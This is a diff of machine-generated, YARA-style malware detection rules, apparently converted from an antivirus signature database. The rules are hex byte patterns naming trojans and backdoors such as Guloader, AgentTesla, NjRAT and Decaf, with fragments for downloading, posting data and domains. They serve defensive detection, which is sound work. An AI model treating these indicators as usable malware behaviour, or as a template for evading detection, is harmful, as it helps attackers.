4d 2e 67 2e 72 65 73 6f 75 72 63 65 73 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 41 31 32 33 21 4d 54 42 00 01 00 0e 81 01 62 61 6e 67 6c 61 64 65 73 68 65 72 65 73 01 00 0b 81 01 6e 65 75 72 6f 6c 6f 67 69 7a 65 01 00 15 81 } //19853 - $a_6e_2 = {6e 67 73 73 74 72 75 6b 74 75 72 65 6e 20 6e 69 73 01 00 0f 81 01 6c 65 64 65 6c 73 65 73 70 6c 61 6e 65 6e 73 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 47 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 79 72 6d 65 63 6f 6c 6f 67 79 01 00 06 81 01 74 64 2e 65 78 65 01 00 12 81 01 61 } //29441 - $a_61_3 = {69 6e 20 6b 61 6c 73 6f 6d 69 6e 65 01 00 1a 81 01 73 65 62 61 74 65 20 73 6e 69 6b 6b 65 72 73 20 6e 75 6d 62 66 69 73 68 65 73 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 59 31 32 33 21 4d 54 42 00 01 00 09 81 01 72 65 70 72 69 6e 74 65 64 01 00 0c 81 01 75 6e } //25974 + $a_54_0 = {3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 08 81 01 2f 61 75 74 6f 72 75 6e 01 00 1b 81 01 74 70 3a 2f 2f 73 68 72 65 64 64 65 72 2e 39 31 74 6f 6f 6c 62 6f 78 2e 63 6f 6d 01 00 0f 81 01 5c 52 65 67 69 73 74 } //18467 + $a_55_1 = {65 72 5c 01 00 0d 81 01 55 6c 74 72 61 53 68 72 65 64 64 65 72 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 61 7a 32 38 30 34 21 45 4d 4c 00 01 00 06 01 66 6d 74 78 62 36 01 00 0f 01 78 42 2e 68 6d 2e 72 } //31090 + $a_75_2 = {63 65 73 01 00 0f 01 78 42 2e 53 66 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 43 72 79 70 74 6f 53 74 72 65 61 6d 4d 2e 67 2e 72 65 73 6f 75 72 63 65 73 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 41 31 32 33 21 4d 54 42 00 01 00 0e 81 01 62 61 6e 67 6c 61 64 65 73 } //29541 + $a_65_3 = {01 00 0b 81 01 6e 65 75 72 6f 6c 6f 67 69 7a 65 01 00 15 81 01 73 74 6e 69 6e 67 73 73 74 72 75 6b 74 75 72 65 6e 20 6e 69 73 01 00 0f 81 01 6c 65 64 65 6c 73 65 73 70 6c 61 6e 65 6e 73 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 47 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d } //25960 condition: - ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*19853+(#a_6e_2 & 1)*29441+(#a_61_3 & 1)*25974) >=4 + ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*31090+(#a_75_2 & 1)*29541+(#a_65_3 & 1)*25960) >=4 } -rule _InfrastructureShared_7879{ +rule _InfrastructureShared_8336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -83203,7 +88086,7 @@ rule _InfrastructureShared_7879{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*17153+(#a_75_2 & 1)*29811+(#a_61_3 & 1)*8302) >=4 } -rule _InfrastructureShared_7880{ +rule _InfrastructureShared_8337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -83216,7 +88099,7 @@ rule _InfrastructureShared_7880{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28261+(#a_48_2 & 1)*8448+(#a_6d_3 & 1)*31085) >=4 } -rule _InfrastructureShared_7881{ +rule _InfrastructureShared_8338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -83229,20 +88112,46 @@ rule _InfrastructureShared_7881{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25971+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_7882{ +rule _InfrastructureShared_8339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 59 31 32 33 21 4d 54 42 00 01 00 09 81 01 72 65 70 72 69 6e 74 65 64 01 00 0c 81 01 75 6e 70 72 65 64 61 63 65 6f 75 73 01 00 1a 81 01 66 6f 72 73 74 61 61 65 6c 73 65 73 72 61 6d 6d 65 72 20 } //18467 - $a_6b_1 = {6e 73 01 00 0e 81 01 61 72 6d 62 72 6f 65 73 74 62 6f 6c 74 65 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 41 73 6b 54 6f 6f 6c 62 61 72 00 02 00 0f 80 01 41 73 6b 20 54 6f 6f 6c 62 61 72 2e 6d 73 69 01 00 11 80 01 77 65 62 73 65 61 72 63 68 2e 61 73 6b 2e 63 6f 6d 01 00 15 80 01 47 65 6e 65 72 69 63 } //30050 - $a_54_2 = {6f 6c 62 61 72 2e 64 6c 6c 01 00 13 80 01 65 78 74 65 72 6e 61 6c 77 72 61 70 70 65 72 2e 70 64 62 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 63 61 66 2e 41 21 64 68 61 00 01 00 12 01 6f 70 2e 74 67 77 2e 74 66 2f 71 74 76 64 72 6f 70 2f 01 00 19 01 44 6f 77 } //29505 - $a_61_3 = {69 6e 67 20 6e 63 6d 64 63 20 70 61 63 6b 61 67 65 01 00 0c 01 50 4f 53 54 69 6e 67 20 64 61 74 61 01 00 0b 01 43 6c 65 61 6e 69 6e 67 20 75 70 00 00 78 7b 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 47 54 4b 21 4d 54 42 00 05 00 14 03 2e a5 30 66 90 01 01 07 68 49 ad 4e 8c a8 11 } //27758 + $a_6b_1 = {6e 73 01 00 0e 81 01 61 72 6d 62 72 6f 65 73 74 62 6f 6c 74 65 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 44 31 36 21 4d 54 42 00 01 00 13 81 01 64 69 73 74 72 69 6b 74 73 6a 6f 72 64 65 6d 64 72 65 73 01 00 15 81 01 75 64 64 69 66 66 65 72 65 6e 74 69 65 72 69 6e } //30050 + $a_6e_2 = {01 00 0d 81 01 70 75 6c 6d 6f 6e 69 66 65 72 6f 75 73 01 00 0a 81 01 67 72 75 6e 64 66 73 74 65 74 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 4a 31 32 21 4d 54 42 00 01 00 0e 81 01 6f 73 74 72 65 6f 70 68 61 67 6f 75 73 20 01 00 11 81 01 62 65 68 6f 76 73 76 75 72 64 65 72 69 } //25959 + $a_72_3 = {00 11 81 01 61 66 73 74 65 6d 6e 69 6e 67 73 66 6f 72 6d 65 6e 01 00 0f 81 01 62 65 73 76 61 6e 67 72 69 6e 67 2e 65 78 65 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 41 73 6b 54 6f 6f 6c 62 61 72 00 02 00 0f 80 01 41 73 6b 20 54 6f 6f 6c 62 61 72 2e 6d 73 69 01 00 11 80 01 } //26478 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30050+(#a_54_2 & 1)*29505+(#a_61_3 & 1)*27758) >=4 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30050+(#a_6e_2 & 1)*25959+(#a_72_3 & 1)*26478) >=4 } -rule _InfrastructureShared_7883{ +rule _InfrastructureShared_8340{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 44 31 36 21 4d 54 42 00 01 00 13 81 01 64 69 73 74 72 69 6b 74 73 6a 6f 72 64 65 6d 64 72 65 73 01 00 15 81 01 75 64 64 69 66 66 65 72 65 6e 74 69 65 72 69 6e 67 65 72 6e 65 01 00 0d 81 01 70 75 } //18467 + $a_6e_1 = {66 65 72 6f 75 73 01 00 0a 81 01 67 72 75 6e 64 66 73 74 65 74 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 4a 31 32 21 4d 54 42 00 01 00 0e 81 01 6f 73 74 72 65 6f 70 68 61 67 6f 75 73 20 01 00 11 81 01 62 65 68 6f 76 73 76 75 72 64 65 72 69 6e 67 65 72 01 00 11 81 01 } //28012 + $a_74_2 = {6d 6e 69 6e 67 73 66 6f 72 6d 65 6e 01 00 0f 81 01 62 65 73 76 61 6e 67 72 69 6e 67 2e 65 78 65 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 41 73 6b 54 6f 6f 6c 62 61 72 00 02 00 0f 80 01 41 73 6b 20 54 6f 6f 6c 62 61 72 2e 6d 73 69 01 00 11 80 01 77 65 62 73 65 61 72 63 68 2e 61 73 6b 2e 63 6f 6d 01 00 15 80 01 47 } //26209 + $a_72_3 = {63 41 73 6b 54 6f 6f 6c 62 61 72 2e 64 6c 6c 01 00 13 80 01 65 78 74 65 72 6e 61 6c 77 72 61 70 70 65 72 2e 70 64 62 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 63 61 66 2e 41 21 64 68 61 00 01 00 12 01 6f 70 2e 74 67 77 2e 74 66 2f 71 74 76 } //28261 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28012+(#a_74_2 & 1)*26209+(#a_72_3 & 1)*28261) >=4 + +} +rule _InfrastructureShared_8341{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 4a 31 32 21 4d 54 42 00 01 00 0e 81 01 6f 73 74 72 65 6f 70 68 61 67 6f 75 73 20 01 00 11 81 01 62 65 68 6f 76 73 76 75 72 64 65 72 69 6e 67 65 72 01 00 11 81 01 61 66 73 74 65 6d 6e 69 6e 67 73 } //18467 + $a_6d_1 = {6e 01 00 0f 81 01 62 65 73 76 61 6e 67 72 69 6e 67 2e 65 78 65 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 41 73 6b 54 6f 6f 6c 62 61 72 00 02 00 0f 80 01 41 73 6b 20 54 6f 6f 6c 62 61 72 2e 6d 73 69 01 00 11 80 01 77 65 62 73 65 61 72 63 68 2e 61 73 6b 2e 63 6f 6d 01 00 15 80 01 47 65 6e 65 72 69 63 41 73 6b 54 } //28518 + $a_62_2 = {72 2e 64 6c 6c 01 00 13 80 01 65 78 74 65 72 6e 61 6c 77 72 61 70 70 65 72 2e 70 64 62 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 63 61 66 2e 41 21 64 68 61 00 01 00 12 01 6f 70 2e 74 67 77 2e 74 66 2f 71 74 76 64 72 6f 70 2f 01 00 19 01 44 6f 77 6e 6c 6f 61 64 } //28527 + $a_20_3 = {63 6d 64 63 20 70 61 63 6b 61 67 65 01 00 0c 01 50 4f 53 54 69 6e 67 20 64 61 74 61 01 00 0b 01 43 6c 65 61 6e 69 6e 67 20 75 70 00 00 78 7b 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 47 54 4b 21 4d 54 42 00 05 00 14 03 2e a5 30 66 90 01 01 07 68 49 ad 4e } //28265 + condition: + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28518+(#a_62_2 & 1)*28527+(#a_20_3 & 1)*28265) >=4 + +} +rule _InfrastructureShared_8342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -83254,7 +88163,7 @@ rule _InfrastructureShared_7883{ ((#a_41_0 & 1)*20515+(#a_80_1 & 1)*1+(#a_7b_2 & 1)*0) >=4 } -rule _InfrastructureShared_7884{ +rule _InfrastructureShared_8343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -83267,7 +88176,7 @@ rule _InfrastructureShared_7884{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*8291+(#a_e0_2 & 1)*-10279+(#a_61_3 & 1)*28530) >=4 } -rule _InfrastructureShared_7885{ +rule _InfrastructureShared_8344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -83278,7 +88187,7 @@ rule _InfrastructureShared_7885{ ((#a_46_0 & 1)*16675+(#a_e5_1 & 1)*32029) >=5 } -rule _InfrastructureShared_7886{ +rule _InfrastructureShared_8345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -83289,48 +88198,95 @@ rule _InfrastructureShared_7886{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2) >=5 } -rule _InfrastructureShared_7887{ +rule _InfrastructureShared_8346{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 41 48 43 21 4d 54 42 00 03 00 22 01 8b 45 b8 d1 e0 8b 55 bc 8d 04 10 0f b7 00 c1 e0 02 8b 55 c0 8d 04 10 8b 55 f4 8b 00 89 02 80 7d } //21539 + $a_00_1 = {22 01 } //168 Ģ + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*168) >=5 + +} +rule _InfrastructureShared_8347{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 41 4a 21 4d 54 42 00 03 00 2c 01 8d 2c 19 8b e8 66 87 6c 24 02 88 54 24 11 eb 1d be 2c a2 c5 34 d6 b9 8b 6c 24 05 66 87 6c 24 03 5d 5d 66 ff 34 24 66 8b } //21539 + $a_eb_1 = {00 20 01 bb 92 0d 9c ef f6 0f ab e5 8d aa } //9324 + condition: + ((#a_4c_0 & 1)*21539+(#a_eb_1 & 1)*9324) >=5 + +} +rule _InfrastructureShared_8348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 30 21 4d 54 42 00 01 00 0d 81 01 51 57 45 52 54 59 53 44 46 47 48 4a 4b 01 00 0c 81 01 4f 49 55 59 54 47 46 56 47 42 48 4a 01 00 07 81 01 54 6f 57 69 6e 33 32 01 } //18467 $a_0c_1 = {08 } //2560 - $a_00_2 = {00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 32 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 d0 00 00 8d 90 01 04 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 81 01 57 33 34 32 34 32 36 35 00 01 00 0b 81 01 57 32 33 35 32 35 33 35 33 34 35 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 75 70 70 6f 64 2e 44 42 21 4d 54 42 00 01 00 06 81 01 73 68 65 6c 6c 29 01 00 0f 81 01 72 75 6e 5f 73 75 62 70 72 6f } //32 - $a_73_3 = {01 00 10 81 01 74 72 61 6e 73 70 6f 73 69 74 6f 72 5f 75 72 6c 01 00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 03 00 28 01 21 54 68 69 73 20 70 79 } //25955 - $a_68_4 = {27 63 61 6e 6e 6f 74 20 69 6c 27 79 7c 75 27 69 6e 20 44 4f 53 20 74 76 6b 6c 35 03 00 1a 01 79 76 6e 72 61 6d 26 69 67 6e 75 76 7b 27 69 72 2d 78 75 6e 20 69 6e 20 51 5c 00 00 78 7b 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 4b 41 42 43 21 4d 54 42 00 04 00 25 01 47 00 62 00 73 00 7a 00 6e 00 42 00 43 00 4e } //28278 + $a_00_2 = {00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 32 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 d0 00 00 8d 90 01 04 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 81 01 57 33 34 32 34 32 36 35 00 01 00 0b 81 01 57 32 33 35 32 35 33 35 33 34 35 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4c 31 21 4d 54 42 00 01 00 10 81 01 70 72 6f 6a 65 6b 74 72 65 72 6e 65 2e 68 65 6d 01 00 0c 81 01 76 69 63 } //32 + $a_65_3 = {2e 6b 6e 79 01 00 0a 81 01 75 6c 76 65 68 75 6e 64 65 6e 01 00 0c 81 01 73 6e 6e 69 6b 65 6e 73 2e 65 78 65 01 00 09 81 01 6b 6f 6d 6d 75 6e 61 72 64 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 75 70 70 6f 64 2e 44 42 21 4d 54 42 00 01 00 06 81 01 73 68 65 6c 6c 29 01 00 0f 81 01 72 75 6e 5f } //28261 + $a_70_4 = {6f 63 65 73 73 72 01 00 10 81 01 74 72 61 6e 73 70 6f 73 69 74 6f 72 5f 75 72 6c 01 00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 62 65 65 2e 43 } //30067 condition: - ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*2560+(#a_00_2 & 1)*32+(#a_73_3 & 1)*25955+(#a_68_4 & 1)*28278) >=5 + ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*2560+(#a_00_2 & 1)*32+(#a_65_3 & 1)*28261+(#a_70_4 & 1)*30067) >=5 } -rule _InfrastructureShared_7888{ +rule _InfrastructureShared_8349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 32 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 d0 00 00 8d 90 01 04 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 81 01 57 33 34 32 34 32 36 35 00 01 00 0b } //18467 - $a_32_1 = {35 32 35 33 35 33 34 35 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 75 70 70 6f 64 2e 44 42 21 4d 54 42 00 01 00 06 81 01 73 68 65 6c 6c 29 01 00 0f 81 01 72 75 6e 5f } //385 - $a_70_2 = {6f 63 65 73 73 72 01 00 10 81 01 74 72 61 6e 73 70 6f 73 69 74 6f 72 5f 75 72 6c 01 00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //30067 - $a_53_3 = {31 21 4d 54 42 00 03 00 28 01 21 54 68 69 73 20 70 79 76 6e 79 68 74 27 63 61 6e 6e 6f 74 20 69 6c 27 79 7c 75 27 69 6e 20 44 4f 53 20 74 } //24940 - $a_35_4 = {00 1a 01 79 76 6e 72 61 6d 26 69 67 6e 75 76 7b 27 69 72 2d 78 75 6e 20 69 6e 20 51 5c 00 00 78 7b 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 4b 41 42 43 21 4d 54 42 00 04 00 25 01 47 00 62 00 73 00 7a 00 6e 00 42 00 43 00 4e 00 41 00 45 00 4f 00 73 00 57 00 54 00 71 00 } //27510 + $a_32_1 = {35 32 35 33 35 33 34 35 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4c 31 21 4d 54 42 00 01 00 10 81 01 70 72 6f 6a 65 6b 74 72 65 72 6e 65 2e 68 65 6d 01 00 } //385 + $a_76_2 = {63 } //-32500 c + $a_65_3 = {2e 6b 6e 79 01 00 0a 81 01 75 6c 76 65 68 75 6e 64 65 6e 01 00 0c 81 01 73 6e 6e 69 6b 65 6e 73 2e 65 78 65 01 00 09 81 01 6b 6f 6d 6d 75 6e 61 72 64 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 75 70 70 6f 64 2e 44 42 21 4d 54 42 00 01 00 06 81 01 73 68 65 6c 6c 29 01 00 0f 81 01 72 75 6e 5f } //28261 + $a_70_4 = {6f 63 65 73 73 72 01 00 10 81 01 74 72 61 6e 73 70 6f 73 69 74 6f 72 5f 75 72 6c 01 00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 62 65 65 2e 43 } //30067 condition: - ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*385+(#a_70_2 & 1)*30067+(#a_53_3 & 1)*24940+(#a_35_4 & 1)*27510) >=5 + ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*385+(#a_76_2 & 1)*-32500+(#a_65_3 & 1)*28261+(#a_70_4 & 1)*30067) >=5 } -rule _InfrastructureShared_7889{ +rule _InfrastructureShared_8350{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4c 31 21 4d 54 42 00 01 00 10 81 01 70 72 6f 6a 65 6b 74 72 65 72 6e 65 2e 68 65 6d 01 00 0c 81 01 76 69 63 65 6e 74 65 73 2e 6b 6e 79 01 00 0a 81 01 75 6c 76 65 68 75 6e 64 65 6e 01 00 0c 81 01 } //18467 + $a_69_1 = {65 6e 73 2e 65 78 65 01 00 09 81 01 6b 6f 6d 6d 75 6e 61 72 64 00 00 78 7b 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 75 70 70 6f 64 2e 44 42 21 4d 54 42 00 01 00 06 81 01 73 68 65 6c 6c 29 01 00 0f 81 01 72 75 6e 5f 73 75 62 70 72 6f 63 65 73 73 72 01 00 10 81 01 74 72 61 6e 73 70 6f } //28275 + $a_6f_2 = {5f 75 72 6c 01 00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 62 65 65 2e 43 43 4a 58 21 4d 54 42 00 06 00 49 03 d3 e8 89 84 24 90 01 04 0f b6 84 24 90 01 04 0f b6 8c 24 90 01 04 33 c1 88 84 24 90 01 } //26995 + $a_84_3 = {90 01 04 0f b7 8c 24 90 01 04 2b c1 66 89 05 90 01 04 0f be 84 24 90 01 04 48 8b 8c 24 90 01 04 0f be 09 03 c1 90 00 00 00 78 7b 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 03 00 28 01 21 54 68 69 73 20 70 79 76 6e 79 68 74 27 63 61 6e 6e 6f 74 20 69 6c 27 79 7c 75 27 69 6e 20 44 4f 53 20 74 76 6b 6c 35 03 00 1a 01 79 76 6e 72 61 6d 26 69 67 6e 75 76 7b 27 69 72 2d 78 75 6e 20 69 6e 20 51 5c 00 00 78 7b 00 00 07 00 07 00 02 00 21 23 41 4c 46 } //3844 + $a_6f_4 = {61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 4b 41 42 43 21 4d 54 42 00 04 00 25 01 47 00 62 00 73 00 7a 00 6e 00 42 00 43 00 4e 00 41 00 45 00 4f 00 73 00 57 00 54 00 71 00 7a 00 48 00 76 00 2f 03 00 25 01 4e 00 51 00 33 00 62 00 52 00 30 00 38 00 76 00 49 00 30 00 56 00 49 00 33 00 39 00 4a 00 36 00 37 00 35 00 2f 00 00 78 7b 00 00 0a 00 0a } //21562 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28275+(#a_6f_2 & 1)*26995+(#a_84_3 & 1)*3844+(#a_6f_4 & 1)*21562) >=5 + +} +rule _InfrastructureShared_8351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 75 70 70 6f 64 2e 44 42 21 4d 54 42 00 01 00 06 81 01 73 68 65 6c 6c 29 01 00 0f 81 01 72 75 6e 5f 73 75 62 70 72 6f 63 65 73 73 72 01 00 10 81 01 74 72 61 6e 73 70 6f 73 69 74 6f 72 } //21283 - $a_6c_1 = {00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 03 00 28 01 21 54 68 69 73 20 70 79 76 6e 79 68 74 27 63 61 6e 6e 6f 74 20 69 6c 27 79 7c 75 27 69 } //30047 - $a_4f_2 = {20 74 76 6b 6c 35 03 00 1a 01 79 76 6e 72 61 6d 26 69 67 6e 75 76 7b 27 69 72 2d 78 75 6e 20 69 6e 20 51 5c 00 00 78 7b 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a } //8302 - $a_2e_3 = {41 42 43 21 4d 54 42 00 04 00 25 01 47 00 62 00 73 00 7a 00 